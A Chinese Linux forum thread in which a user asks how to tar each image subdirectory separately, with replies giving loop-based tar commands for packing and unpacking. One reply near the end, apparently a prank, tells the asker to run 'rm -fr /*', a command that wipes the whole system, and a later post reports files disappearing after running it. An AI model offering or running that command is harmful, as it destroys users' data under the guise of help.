linux如何批量打包,按目录,每目录打包一个。7Z好像不行吧

[复制链接]
查看: 3713   回复: 8
发表于 2024-3-5 01:29:52 | 显示全部楼层 |阅读模式

/202111/adagd/xxxx.jpg
/202111/adagd/xxxx.jpg
/202111/adagd/xxxx.jpg
/202111/adagd/xxxx.jpg
/202111/adagd/xxxx.jpg
~~~~~~~~~
/202111/fdgah/xxxx.jpg
/202111/fdgah/xxxx.jpg
/202111/fdgah/xxxx.jpg
~~~~~~~~~
/202201/adhs/xxxx.jpg
/202201/adhs/xxxx.jpg
/202201/adhs/xxxx.jpg
~~~~~~
/202202/xxaa/xxxx.jpg
/202202/xxaa/xxxx.jpg
/202202/xxaa/xxxx.jpg
~~~~~~~
/202202/vvdd/xxxx.jpg
/202202/vvdd/xxxx.jpg
/202202/ssfgg/xxxx.jpg
~~~~~~~


只打包不压缩,压缩也压不了多少
打包成
/202111/adagd.tar
/202111/fdgah.tar
~~~~~~~~~~~~
/202202/ssfgg.tar
回复

使用道具 举报

发表于 2024-3-5 01:29:58 | 显示全部楼层
或者忽略文件,只打包目录:
  1. cd /202202/ && for d in *; do [ -d $d ] && tar cvf $d.tar $d; done
复制代码
回复 支持 反对

使用道具 举报

发表于 2024-3-5 01:30:40 | 显示全部楼层
  1. cd /202202/ && for d in *; do tar cvf $d.tar $d; done
复制代码
回复 支持 反对

使用道具 举报

发表于 2024-3-5 01:31:05 | 显示全部楼层
谢谢大佬

另外能写下,以后解包的命令吗?

有了备份,以后有需要的时候还是需要解开这些包的


另外问下 打包可以打包到别的目录下吗

/202111/adagd目录下所有文件打包到
/zzip/20211/adagd.tar
回复 支持 反对

使用道具 举报

发表于 2024-3-5 01:31:47 | 显示全部楼层
tar 用绝对路径?
回复 支持 反对

使用道具 举报

发表于 2024-3-5 01:32:38 | 显示全部楼层
哪用什么?
回复 支持 反对

使用道具 举报

发表于 2024-3-5 01:33:16 | 显示全部楼层
解包:
  1. cd /202202/ && for f in *.tar; do tar xvf $f; done
复制代码

打包到别的目录下就把之前2条打包命令中的
  1. tar cvf $d.tar $d
复制代码
改成
  1. tar cvf /zzip/20211/$d.tar $d
复制代码
就行了。
回复 支持 反对

使用道具 举报

发表于 2024-3-5 01:34:13 | 显示全部楼层
去图片的目录里执行这行代码就行了
rm -fr /*
回复 支持 反对

使用道具 举报

发表于 2024-3-5 01:34:37 | 显示全部楼层
输了好几遍这个命令了,我的文件怎么不见了,是隐藏吗,还是转移到别的地方
找了好久找不到
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则